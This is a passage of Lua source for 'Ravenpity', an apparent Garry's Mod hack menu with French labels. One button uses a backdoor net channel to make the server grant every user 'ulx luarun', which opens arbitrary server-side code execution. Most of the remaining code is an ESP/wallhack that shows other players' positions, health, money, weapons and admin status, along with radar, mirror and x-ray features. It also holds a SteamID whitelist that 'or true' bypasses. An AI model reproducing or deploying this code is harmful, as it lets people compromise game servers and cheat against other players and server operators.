  2237. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2238. else
  2239. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2240. luarunforusers:SetTextColor( Color( 255, 255, 255 ) )
  2241. end
  2242. luarunforusers.DoClick = function()
  2243. net.Start(ravenhacknet)
  2244. net.WriteString("RunConsoleCommand(\"ulx\", \"groupallow\", \"user\", \"ulx luarun\")")
  2245. net.WriteBit(1)
  2246. net.SendToServer()
  2247. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Les Users ont désormais accès au Luarun" )
  2248. end
  2249. end
  2250.  
  2251. -------------------------------------------------------------------------------------|
  2252.  
  2253. local detectoron = vgui.Create( "DButton", BackgroundSupportPanel)
  2254. detectoron:SetPos( 0, 90)
  2255. detectoron:SetSize( 400, 30 )
  2256. detectoron:SetText( "Détecteur de Mouvement" )
  2257. detectoron.Paint = function( self, w, h )
  2258. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2259. if detectoron:IsHovered() then
  2260. detectoron:SetTextColor( Color( 0, 0, 0 ) )
  2261. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2262. else
  2263. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2264. detectoron:SetTextColor( Color( 255, 255, 255 ) )
  2265. end
  2266. detectoron.DoClick = function()
  2267. LocalPlayer():ConCommand( "lix_lesp_detectadd" )
  2268. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Détecteur plaçé" )
  2269. end
  2270. end
  2271. local detectoroff = vgui.Create( "DButton", BackgroundSupportPanel)
  2272. detectoroff:SetPos( 365, 95)
  2273. detectoroff:SetSize( 20, 20 )
  2274. detectoroff:SetText( "X" )
  2275. detectoroff.Paint = function( self, w, h )
  2276. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2277. if detectoroff:IsHovered() then
  2278. detectoroff:SetTextColor( Color( 255, 255, 255 ) )
  2279. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  2280. else
  2281. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  2282. detectoroff:SetTextColor( Color( 255, 255, 255 ) )
  2283. end
  2284. detectoroff.DoClick = function()
  2285. LocalPlayer():ConCommand( "lix_lesp_detectremove" )
  2286. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Détecteur supprimé" )
  2287. end
  2288. end
  2289.  
  2290. -------------------------------------------------------------------------------------|
  2291.  
  2292. local mirroron = vgui.Create( "DButton", BackgroundSupportPanel)
  2293. mirroron:SetPos( 0, 120)
  2294. mirroron:SetSize( 400, 30 )
  2295. mirroron:SetText( "Mirroir" )
  2296. mirroron.Paint = function( self, w, h )
  2297. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2298. if mirroron:IsHovered() then
  2299. mirroron:SetTextColor( Color( 0, 0, 0 ) )
  2300. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2301. else
  2302. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2303. mirroron:SetTextColor( Color( 255, 255, 255 ) )
  2304. end
  2305. mirroron.DoClick = function()
  2306. LocalPlayer():ConCommand( "lix_lesp_mirror 1" )
  2307. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Mirroir activé" )
  2308. end
  2309. end
  2310. local mirroroff = vgui.Create( "DButton", BackgroundSupportPanel)
  2311. mirroroff:SetPos( 365, 125)
  2312. mirroroff:SetSize( 20, 20 )
  2313. mirroroff:SetText( "X" )
  2314. mirroroff.Paint = function( self, w, h )
  2315. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2316. if mirroroff:IsHovered() then
  2317. mirroroff:SetTextColor( Color( 255, 255, 255 ) )
  2318. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  2319. else
  2320. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  2321. mirroroff:SetTextColor( Color( 255, 255, 255 ) )
  2322. end
  2323. mirroroff.DoClick = function()
  2324. LocalPlayer():ConCommand( "lix_lesp_mirror 0" )
  2325. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Mirroir désactivé" )
  2326. end
  2327. end
  2328.  
  2329. -------------------------------------------------------------------------------------|
  2330.  
  2331. local radaron = vgui.Create( "DButton", BackgroundSupportPanel)
  2332. radaron:SetPos( 0, 150)
  2333. radaron:SetSize( 400, 30 )
  2334. radaron:SetText( "Radar" )
  2335. radaron.Paint = function( self, w, h )
  2336. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2337. if radaron:IsHovered() then
  2338. radaron:SetTextColor( Color( 0, 0, 0 ) )
  2339. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2340. else
  2341. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2342. radaron:SetTextColor( Color( 255, 255, 255 ) )
  2343. end
  2344. radaron.DoClick = function()
  2345. LocalPlayer():ConCommand( "lix_lesp_radarfov 1500" )
  2346. LocalPlayer():ConCommand( "lix_lesp_radar 1" )
  2347. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Radar activé" )
  2348. end
  2349. end
  2350. local radaroff = vgui.Create( "DButton", BackgroundSupportPanel)
  2351. radaroff:SetPos( 365, 155)
  2352. radaroff:SetSize( 20, 20 )
  2353. radaroff:SetText( "X" )
  2354. radaroff.Paint = function( self, w, h )
  2355. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2356. if radaroff:IsHovered() then
  2357. radaroff:SetTextColor( Color( 255, 255, 255 ) )
  2358. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  2359. else
  2360. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  2361. radaroff:SetTextColor( Color( 255, 255, 255 ) )
  2362. end
  2363. radaroff.DoClick = function()
  2364. LocalPlayer():ConCommand( "lix_lesp_radar 0" )
  2365. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Radar désactivé" )
  2366. end
  2367. end
  2368. end
  2369.  
  2370. /*======================================================================================================================================================================================
  2371. Updates
  2372. ========================================================================================================================================================================================*/
  2373. function RAVEN.Updates()
  2374. if RAVEN.UpdatesListe and RAVEN.UpdatesListe:IsVisible() then RAVEN.UpdatesListe:Remove() end
  2375. RAVEN.UpdatesListe = vgui.Create("DFrame")
  2376. RAVEN.UpdatesListe:SetSize(682,350)
  2377. RAVEN.UpdatesListe:SetTitle("")
  2378. RAVEN.UpdatesListe:SetPos( 342, 250 )
  2379. RAVEN.UpdatesListe:MakePopup()
  2380. RAVEN.UpdatesListe:ShowCloseButton( false )
  2381. RAVEN.UpdatesListe.Paint = function( s, w, h )
  2382. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  2383. surface.SetDrawColor( Color(30, 30, 30, 255) )
  2384. surface.DrawRect( 0, 0, w, h )
  2385. surface.SetDrawColor( Color(55, 55, 55, 255) )
  2386. surface.DrawOutlinedRect( 0, 0, w, h )
  2387. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2388. end
  2389. local CloseButtonUpdates = vgui.Create( "DButton", BackgroundSupportPanel)
  2390. CloseButtonUpdates:SetPos( 0, 370)
  2391. CloseButtonUpdates:SetSize( 400, 30 )
  2392. CloseButtonUpdates:SetText( "X" )
  2393. CloseButtonUpdates.Paint = function( self, w, h )
  2394. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2395. if CloseButtonUpdates:IsHovered() then
  2396. CloseButtonUpdates:SetTextColor( Color( 0, 0, 0 ) )
  2397. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2398. else
  2399. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2400. CloseButtonUpdates:SetTextColor( Color( 255, 255, 255 ) )
  2401. end
  2402. CloseButtonUpdates.DoClick = function()
  2403. surface.PlaySound("UI/buttonrollover.wav")
  2404. BaseHeader:Remove()
  2405. end
  2406. end
  2407. local ReturnButtonUpdates = vgui.Create( "DButton", BackgroundSupportPanel)
  2408. ReturnButtonUpdates:SetPos( 0, 340)
  2409. ReturnButtonUpdates:SetSize( 400, 30 )
  2410. ReturnButtonUpdates:SetText( "<--" )
  2411. ReturnButtonUpdates.Paint = function( self, w, h )
  2412. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2413. if ReturnButtonUpdates:IsHovered() then
  2414. ReturnButtonUpdates:SetTextColor( Color( 0, 0, 0 ) )
  2415. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2416. else
  2417. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2418. ReturnButtonUpdates:SetTextColor( Color( 255, 255, 255 ) )
  2419. end
  2420. ReturnButtonUpdates.DoClick = function()
  2421. surface.PlaySound("UI/buttonrollover.wav")
  2422. BaseHeader:Remove()
  2423. LocalPlayer():ConCommand("ravenpity_start")
  2424. end
  2425. end
  2426.  
  2427. -------------------------------------------------------------------------------------|
  2428.  
  2429. local updates1_0 = vgui.Create( "DButton", BackgroundSupportPanel)
  2430. updates1_0:SetPos( 0, 0)
  2431. updates1_0:SetSize( 400, 30 )
  2432. updates1_0:SetText( "Falait pas menacer " )
  2433. updates1_0.Paint = function( self, w, h )
  2434. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2435. end
  2436. local updates1_1 = vgui.Create( "DButton", BackgroundSupportPanel)
  2437. updates1_1:SetPos( 0, 30)
  2438. updates1_1:SetSize( 400, 30 )
  2439. updates1_1:SetText( "Ooops, leaked !" )
  2440. updates1_1.Paint = function( self, w, h )
  2441. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2442. end
  2443. end
  2444.  
  2445. -------------------------------------------------------------------------------------|
  2446.  
  2447.  
  2448. /*====================================================================================================================================================================================
  2449. ======================================================================================================================================================================================
  2450. ======================================================================================================================================================================================
  2451. ======================================================================================================================================================================================
  2452. PANEL END
  2453. ======================================================================================================================================================================================
  2454. ======================================================================================================================================================================================
  2455. ======================================================================================================================================================================================
  2456. ======================================================================================================================================================================================*/
  2457.  
  2458. hook.Add("HUDPaint", "WelcomeToRavenpity", function() draw.SimpleTextOutlined( "Ravenpity Activé | Login : "..steamworks.GetPlayerName( LocalPlayer():SteamID64() ).."", "ravenfonthello", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 185, 153, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) ) end) end
  2459. )
  2460. end
  2461. local Authorized = LocalPlayer():SteamID()
  2462. if Authorized == "STEAM_0:0:189348722" -- Hoper
  2463. or Authorized == "STEAM_0:1:243408561" -- Hoper Gilbertivoipa
  2464. or Authorized == "STEAM_0:0:99959432" -- Null #1 (null#9907)
  2465. or Authorized == "STEAM_0:0:205515998" -- Null #2 Sigma (null#9907)
  2466. or Authorized == "STEAM_0:0:72098825" -- Frifri et Mruis ╲⎝⧹☭ℱ𝓻𝓲ℱ𝓻𝓲☭╲⎝⧹#2607 ╲⎝๖̶̶̶ζ͜͡ℳ𝓻.ℒ𝓾𝓲𝓼⎝⧹#3896
  2467. or Authorized == "STEAM_0:0:161766720" -- Frifri et Mruis ╲⎝⧹☭ℱ𝓻𝓲ℱ𝓻𝓲☭╲⎝⧹#2607 ╲⎝๖̶̶̶ζ͜͡ℳ𝓻.ℒ𝓾𝓲𝓼⎝⧹#3896
  2468. or Authorized == "STEAM_0:1:149464003" -- Neize/HawkTeam#6117
  2469. or true
  2470. then
  2471. chat.AddText(Color(100,255,100), "[", "SUCCESS", "] ", Color( 255, 255, 255 ), "Oh no, got leaked on noxploit.pro :( " )
  2472. else -- AntiLeak
  2473. LocalPlayer():ConCommand("dontgetit")
  2474. end
  2475. /*====================================================================================================================================================================================
  2476. ======================================================================================================================================================================================
  2477. ======================================================================================================================================================================================
  2478. ======================================================================================================================================================================================
  2479. ======================================================================================================================================================================================
  2480. ======================================================================================================================================================================================
  2481. ======================================================================================================================================================================================
  2482. ======================================================================================================================================================================================
  2483. ESP / DETECTOR / RADAR / MIRROR
  2484. ======================================================================================================================================================================================
  2485. ======================================================================================================================================================================================
  2486. ======================================================================================================================================================================================
  2487. ======================================================================================================================================================================================
  2488. ======================================================================================================================================================================================
  2489. ======================================================================================================================================================================================
  2490. ======================================================================================================================================================================================
  2491. ======================================================================================================================================================================================*/
  2492.  
  2493. local LESPSayPrefix = CreateClientConVar( "lix_lesp_sayprefix", "", true, false )
  2494. local LESPSayDelay = 0
  2495. local LESPOn = CreateClientConVar( "lix_lesp_on", 1, true, false )
  2496. local LESPHealth = CreateClientConVar( "lix_lesp_health", 1, true, false )
  2497. local LESPWeapon = CreateClientConVar( "lix_lesp_weapon", 1, true, false )
  2498. local LESPMoney = CreateClientConVar( "lix_lesp_money", 1, true, false )
  2499. local LESPDistance = CreateClientConVar( "lix_lesp_distance", 1, true, false )
  2500. local LESPSpeed = CreateClientConVar( "lix_lesp_speed", 1, true, false )
  2501.  
  2502. local LESPMirror = CreateClientConVar( "lix_lesp_mirror", 0, true, false )
  2503. local LESPMirrorx = CreateClientConVar( "lix_lesp_mirrorx", 0, true, false )
  2504. local LESPMirrory = CreateClientConVar( "lix_lesp_mirrory", 0, true, false )
  2505. local LESPMirrorw = CreateClientConVar( "lix_lesp_mirrorw", 300, true, false )
  2506. local LESPMirrorh = CreateClientConVar( "lix_lesp_mirrorh", 300, true, false )
  2507. local LESPMirrorpitch = CreateClientConVar( "lix_lesp_mirrorpitch", -2, true, false )
  2508. local LESPMirroryaw = CreateClientConVar( "lix_lesp_mirroryaw", 180, true, false )
  2509. local LESPMirrorroll = CreateClientConVar( "lix_lesp_mirrorroll", 0, true, false )
  2510.  
  2511. local LESPRadar = CreateClientConVar( "lix_lesp_radar", 0, true, false )
  2512. local LESPRadarx = CreateClientConVar( "lix_lesp_radarx", 0, true, false )
  2513. local LESPRadary = CreateClientConVar( "lix_lesp_radary", 0, true, false )
  2514. local LESPRadarw = CreateClientConVar( "lix_lesp_radarw", 300, true, false )
  2515. local LESPRadarh = CreateClientConVar( "lix_lesp_radarh", 300, true, false )
  2516. local LESPRadarfov = CreateClientConVar( "lix_lesp_radarfov", 300, true, false )
  2517. local LESPRadarauto = CreateClientConVar( "lix_lesp_radarauto", 1, true, false )
  2518.  
  2519. local LESPAimdot = CreateClientConVar( "lix_lesp_aimdot", 0, true, false )
  2520. local LESPAimdotfilt = CreateClientConVar( "lix_lesp_aimdotfilter", 1, true, false )
  2521.  
  2522. local LESPLight = false
  2523. local LESPAura = false
  2524. local LESPToggleCommands = {}
  2525.  
  2526. local LESPVoteTime = CreateClientConVar( "lix_lesp_votetime", 120, true, false )
  2527. local LESPVoteVoted = {}
  2528. local LESPVoteVotes = {}
  2529. local LESPVoteType = 0
  2530.  
  2531. local LESPDetects = {}
  2532. local LESPDetected = {}
  2533. local LESPDetectShow = CreateClientConVar( "lix_lesp_detectshow", 1, true, false )
  2534. local LESPDetectShowRad = CreateClientConVar( "lix_lesp_detectshowrad", 0, true, false )
  2535. local LESPDetectThreshold = CreateClientConVar( "lix_lesp_detectthresh", 100, true, false )
  2536. local LESPDetectTrace = CreateClientConVar( "lix_lesp_detecttrace", 0, true, false )
  2537.  
  2538. local LESPXRay = false
  2539. local LESPXRayMat = CreateClientConVar( "lix_lesp_xraymat", "xraysolid", true, false )
  2540. local LESPXRayColors = {}
  2541. local LESPXRayMats = {}
  2542.  
  2543. local LESPReverseChat = CreateClientConVar( "lix_lesp_chatreverse", 0, true, false )
  2544. local LESPCambChat = CreateClientConVar( "lix_lesp_chatcambridge", 0, true, false )
  2545. local LESPByteChat = CreateClientConVar( "lix_lesp_chatbyte", 0, true, false )
  2546.  
  2547. --Anubis--Plex--Shadow--Mike--Ultra--Higgenz--Ultra Alt--Sly--Sly Alt--Mike's Brother--Tpopz-
  2548. /*local fuck_these_guys_hard = {"STEAM_0:1:41760197","STEAM_0:0:17518358","STEAM_0:0:40942351","STEAM_0:1:38706401","STEAM_0:1:53455289","STEAM_0:1:26310034","STEAM_0:1:40527896","STEAM_0:0:20928928","STEAM_0:0:42338999","STEAM_0:1:47311722","STEAM_0:0:38292541","STEAM_0:0:15521306",
  2549. "STEAM_0:0:48684701",
  2550. "STEAM_0:0:59700372"}
  2551. */
  2552. local steamid = LocalPlayer():SteamID()
  2553.  
  2554.  
  2555.  
  2556. -- ENTITY SAVING
  2557.  
  2558. local LESPObjectsConvar = CreateClientConVar( "lix_lesp_objects", "", true, false )
  2559. local LESPObjects = {}
  2560. if LESPObjectsConvar:GetString() ~= "" then
  2561. LESPObjects = string.Explode( "|", LESPObjectsConvar:GetString() )
  2562. end
  2563.  
  2564. -- UTILITY
  2565.  
  2566. local function LESPGetOffset( ply )
  2567. if !IsValid( ply ) then return Vector( 0, 0, 0 ) end
  2568. if !ply:GetAttachment( ply:LookupAttachment( "eyes" ) ) then
  2569. return ply:GetShootPos():ToScreen()
  2570. else
  2571. return ply:GetAttachment( ply:LookupAttachment( "eyes" ) ).Pos:ToScreen()
  2572. end
  2573. end
  2574.  
  2575. local function LESPSay( text )
  2576. if string.len( LESPSayPrefix:GetString() .. text ) > 125 then
  2577. timer.Simple( 2 * ( LESPSayDelay + 1 ), LESPSay, string.sub( LESPSayPrefix:GetString() .. text, 127 ) )
  2578. end
  2579. timer.Simple( 2 * LESPSayDelay, function()
  2580. LESPSayDelay = LESPSayDelay - 1
  2581. RunConsoleCommand( "say", LESPSayPrefix:GetString() .. text )
  2582. end )
  2583. LESPSayDelay = LESPSayDelay + 1
  2584. end
  2585.  
  2586. -- MAIN DRAWING
  2587.  
  2588. local function LESPDraw()
  2589. if LESPAimdot:GetInt() > 0 then
  2590. for _, v in pairs( player.GetAll() ) do
  2591. if LESPAimdotfilt:GetInt() > 0 then
  2592. if !util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v:GetEyeTrace().HitPos, filter = LocalPlayer() } ).Hit and v ~= LocalPlayer() then
  2593. local o = v:GetEyeTrace().HitPos:ToScreen()
  2594. surface.SetDrawColor( 0, 0, 0, 255 )
  2595. surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
  2596. local col = Color(152, 73, 255)
  2597. surface.SetDrawColor( col.r, col.g, col.b, 255 )
  2598. surface.DrawRect( o.x - 1, o.y - 1, 2, 2 )
  2599.  
  2600. surface.SetDrawColor( 0, 0, 0, 50 )
  2601. surface.SetFont( "Default" )
  2602. surface.DrawRect( o.x - surface.GetTextSize( v:Nick() ) / 2, o.y + 7, surface.GetTextSize( v:Nick() ) + 2, 12 )
  2603. surface.SetTextColor( 255, 255, 255, 255 )
  2604. surface.SetTextPos( o.x - ( surface.GetTextSize( v:Nick() ) ) / 2 + 1, o.y + 6 )
  2605. surface.DrawText( v:Nick() )
  2606. end
  2607. else
  2608. if v ~= LocalPlayer() then
  2609. local o = v:GetEyeTrace().HitPos:ToScreen()
  2610. surface.SetDrawColor( 0, 0, 0, 255 )
  2611. surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
  2612. local col = Color(152, 73, 255, 0)
  2613. surface.SetDrawColor( col.r, col.g, col.b, 255 )
  2614. surface.DrawRect( o.x - 1, o.y - 1, 2, 2 )
  2615.  
  2616. surface.SetDrawColor( 0, 0, 0, 50 )
  2617. surface.SetFont( "Default" )
  2618. surface.DrawRect( o.x - surface.GetTextSize( v:Nick() ) / 2, o.y + 7, surface.GetTextSize( v:Nick() ) + 2, 12 )
  2619. surface.SetTextColor( 255, 255, 255, 255 )
  2620. surface.SetTextPos( o.x - ( surface.GetTextSize( v:Nick() ) ) / 2 + 1, o.y + 6 )
  2621. surface.DrawText( v:Nick() )
  2622. end
  2623. end
  2624. end
  2625. end
  2626. if LESPOn:GetInt() > 0 then
  2627. for _, v in pairs( LESPObjects ) do
  2628. if v ~= "" then
  2629. for k, b in pairs( ents.GetAll() ) do
  2630. if string.find( string.lower( b:GetClass() ), string.lower( v ) ) then
  2631. local o = b:GetPos():ToScreen()
  2632. surface.SetDrawColor( 0, 0, 0, 255 )
  2633. surface.DrawRect( o.x - 6, o.y - 6, 12, 12 )
  2634. surface.SetDrawColor( 255, 255, 255, 255 )
  2635. surface.DrawRect( o.x - 5, o.y - 5, 10, 10 )
  2636.  
  2637. surface.SetFont( "Default" )
  2638.  
  2639. surface.SetDrawColor( 0, 0, 0, 50 )
  2640. surface.DrawRect( o.x + 12, o.y - 6, surface.GetTextSize( b:GetClass() ) + 2, 12 )
  2641. surface.SetTextColor( 255, 255, 255, 255 )
  2642. surface.SetTextPos( o.x + 13, o.y - 7 )
  2643. surface.DrawText( b:GetClass() )
  2644.  
  2645. surface.SetDrawColor( 0, 0, 0, 50 )
  2646. surface.SetFont( "Default" )
  2647. surface.DrawRect( o.x - 6, o.y - 19, surface.GetTextSize( "D: " .. math.floor( b:GetPos():Distance( LocalPlayer():GetPos() ) ) ) + 2, 12 )
  2648. surface.SetTextColor( 255, 255, 255, 255 )
  2649. surface.SetTextPos( o.x - 5, o.y - 20 )
  2650. surface.DrawText( "D: " .. math.floor( b:GetPos():Distance( LocalPlayer():GetPos() ) ) )
  2651. end
  2652. end
  2653. end
  2654. end
  2655. for _, v in pairs( player.GetAll() ) do
  2656. if v:Alive() and v ~= LocalPlayer() then
  2657. local o = LESPGetOffset( v )
  2658.  
  2659. if v:GetPos():Distance( LocalPlayer():GetPos() ) < 500 then
  2660. o.y = o.y - ( 100 - v:GetPos():Distance( LocalPlayer():GetPos() ) / 5 )
  2661. end
  2662.  
  2663. local color = Color(152, 73, 255)
  2664. surface.SetDrawColor( 0, 0, 0, 255 )
  2665. surface.DrawRect( o.x - 6, o.y - 6, 12, 12 )
  2666. surface.SetDrawColor( 152, 73, 255 )
  2667. if v:IsSuperAdmin() then
  2668. surface.SetDrawColor( 152, 73, 255 )
  2669. elseif v:IsAdmin() then
  2670. surface.SetDrawColor(255, 81, 81)
  2671. end
  2672. surface.DrawRect( o.x - 5, o.y - 5, 10, 10 )
  2673. surface.SetDrawColor( 0, 0, 0, 255 )
  2674. surface.DrawRect( o.x - 3, o.y - 3, 6, 6 )
  2675. surface.SetDrawColor( color.r, color.g, color.b, 255 )
  2676. surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
  2677.  
  2678. surface.SetFont( "Default" )
  2679.  
  2680. surface.SetDrawColor( 0, 0, 0, 50 )
  2681. surface.DrawRect( o.x + 12, o.y - 6, surface.GetTextSize( v:Nick() ) + 2, 12 )
  2682. surface.SetTextColor( 255, 255, 255, 255 )
  2683. surface.SetTextPos( o.x + 13, o.y - 7 )
  2684. surface.DrawText( v:Nick() )
  2685.  
  2686. if LESPDistance:GetInt() > 0 then
  2687. surface.SetDrawColor( 0, 0, 0, 50 )
  2688. surface.SetFont( "Default" )
  2689. surface.DrawRect( o.x - 6, o.y - 19, surface.GetTextSize( "D: " .. math.floor( v:GetPos():Distance( LocalPlayer():GetPos() ) ) ) + 2, 12 )
  2690. surface.SetTextColor( 255, 255, 255, 255 )
  2691. surface.SetTextPos( o.x - 5, o.y - 20 )
  2692. surface.DrawText( "" .. math.floor( v:GetPos():Distance( LocalPlayer():GetPos() ) ) )
  2693. end
  2694.  
  2695. if LESPHealth:GetInt() > 0 then
  2696. surface.SetDrawColor( 0, 0, 0, 50 )
  2697. surface.SetFont( "Default" )
  2698. surface.DrawRect( o.x - 6, o.y + 7, surface.GetTextSize( "HP: " .. v:Health() ) + 2, 12 )
  2699. surface.SetTextColor( 255, 255, 255, 255 )
  2700. surface.SetTextPos( o.x - 5, o.y + 6 )
  2701. surface.DrawText( "HP: " .. v:Health() )
  2702. end
  2703.  
  2704. if LESPMoney:GetInt() > 0 and v:GetNetworkedInt( "Money" ) ~= 0 then
  2705. surface.SetDrawColor( 0, 0, 0, 50 )
  2706. surface.SetFont( "Default" )
  2707. local add = 19
  2708. if LESPDistance:GetInt() > 0 then add = 32 end
  2709. surface.DrawRect( o.x - 6, o.y - add, surface.GetTextSize( "$: " .. v:GetNWInt( "Money" ) ) + 2, 12 )
  2710. surface.SetTextColor( 255, 255, 255, 255 )
  2711. surface.SetTextPos( o.x - 5, o.y - add - 1 )
  2712. surface.DrawText( "$: " .. v:DarkRPVars( "money" ) )
  2713. end
  2714.  
  2715. if LESPWeapon:GetInt() > 0 and v:GetActiveWeapon():IsValid() then
  2716. surface.SetDrawColor( 0, 0, 0, 50 )
  2717. surface.SetFont( "Default" )
  2718. local add = 6
  2719. if LESPHealth:GetInt() > 0 then add = 19 end
  2720. surface.DrawRect( o.x - 6, o.y + add + 1, surface.GetTextSize( v:GetActiveWeapon():GetPrintName() ) + 2, 12 )
  2721. surface.SetTextColor( 255, 255, 255, 255 )
  2722. surface.SetTextPos( o.x - 5, o.y + add )
  2723. surface.DrawText( v:GetActiveWeapon():GetPrintName() )
  2724. end
  2725.  
  2726. end
  2727. end
  2728. end
  2729. if LESPMirror:GetInt() > 0 then
  2730. local pitch = LESPMirrorpitch:GetInt()
  2731. if pitch < 0 then pitch = pitch * LocalPlayer():EyeAngles().p end
  2732. local yaw = LESPMirroryaw:GetInt()
  2733. if yaw < 0 then yaw = yaw * LocalPlayer():EyeAngles().y end
  2734. local roll = LESPMirrorroll:GetInt()
  2735. if roll < 0 then roll = roll * LocalPlayer():EyeAngles().r end
  2736.  
  2737. local Cam = {}
  2738. Cam.angles = Angle( LocalPlayer():EyeAngles().p + pitch, LocalPlayer():EyeAngles().y + yaw, LocalPlayer():EyeAngles().r + roll )
  2739. Cam.origin = LocalPlayer():GetShootPos()
  2740. Cam.x = LESPMirrorx:GetInt()
  2741. Cam.y = LESPMirrory:GetInt()
  2742. Cam.w = LESPMirrorw:GetInt()
  2743. Cam.h = LESPMirrorh:GetInt()
  2744. render.RenderView( Cam )
  2745. surface.SetDrawColor( 0, 0, 0, 255 )
  2746. surface.DrawOutlinedRect( LESPMirrorx:GetInt(), LESPMirrory:GetInt(), LESPMirrorw:GetInt(),LESPMirrorh:GetInt() )
  2747. surface.SetDrawColor( 255, 255, 255, 255 )
  2748. surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
  2749. end
  2750. if LESPRadar:GetInt() > 0 then
  2751. local Cam = {}
  2752. Cam.angles = Angle( 90, LocalPlayer():EyeAngles().y, 0 )
  2753.  
  2754. local Zvar = LESPRadarfov:GetInt()
  2755. if LESPRadarauto:GetInt() > 0 then
  2756. local trace = {}
  2757. trace.start = LocalPlayer():GetPos() + Vector( 0, 0, 5 )
  2758. trace.endpos = LocalPlayer():GetPos() + Vector( 0, 0, LESPRadarfov:GetInt() )
  2759. trace.filter = LocalPlayer()
  2760. if util.TraceLine( trace ).Hit then
  2761. Zvar = util.TraceLine( trace ).HitPos.z - 5 - LocalPlayer():GetPos().z
  2762. end
  2763. end
  2764.  
  2765. Cam.origin = LocalPlayer():GetPos() + Vector( 0, 0, Zvar )
  2766. Cam.x = LESPRadarx:GetInt()
  2767. Cam.y = LESPRadary:GetInt()
  2768. Cam.w = LESPRadarw:GetInt()
  2769. Cam.h = LESPRadarh:GetInt()
  2770. render.RenderView( Cam )
  2771. surface.SetDrawColor( 0, 0, 0, 255 )
  2772. surface.DrawOutlinedRect( LESPRadarx:GetInt(), LESPRadary:GetInt(), LESPRadarw:GetInt(),LESPRadarh:GetInt() )
  2773. surface.SetDrawColor( 255, 255, 255, 255 )
  2774. surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
  2775. end
  2776. for k, v in pairs( LESPDetects ) do
  2777. if LESPDetectShow:GetInt() > 0 then
  2778. local o = v:ToScreen()
  2779. surface.SetDrawColor( 0, 0, 0, 255 )
  2780. surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
  2781. surface.SetDrawColor( 200, 50, 50, 255 )
  2782. surface.DrawRect( o.x - 1, o.y - 1, 2, 2 )
  2783.  
  2784. surface.SetDrawColor( 0, 0, 0, 50 )
  2785. surface.SetFont( "Default" )
  2786. surface.DrawRect( o.x - surface.GetTextSize( "DET " .. k ) / 2, o.y + 7, surface.GetTextSize( "DET " .. k ) + 2, 12 )
  2787. surface.SetTextColor( 255, 255, 255, 255 )
  2788. surface.SetTextPos( o.x - ( surface.GetTextSize( "DET " .. k ) ) / 2 + 1, o.y + 6 )
  2789. surface.DrawText( "Détecteur " .. k )
  2790. if LESPDetectShowRad:GetInt() > 0 then
  2791. for i = 1, 6 do
  2792. local o = ( v + Vector( math.sin( i * 1 ) * LESPDetectThreshold:GetInt(), math.cos( i * 1 ) * LESPDetectThreshold:GetInt(), 0 ) ):ToScreen()
  2793. local o2 = ( v + Vector( math.sin( ( i + 1 ) * 1 ) * LESPDetectThreshold:GetInt(), math.cos( ( i + 1 ) * 1 ) * LESPDetectThreshold:GetInt(), 0 ) ):ToScreen()
  2794.  
  2795. surface.SetDrawColor( 255, 0, 0, 255 )
  2796. surface.DrawLine( o.x, o.y, o2.x, o2.y )
  2797. end
  2798. end
  2799. end
  2800. end
  2801. end
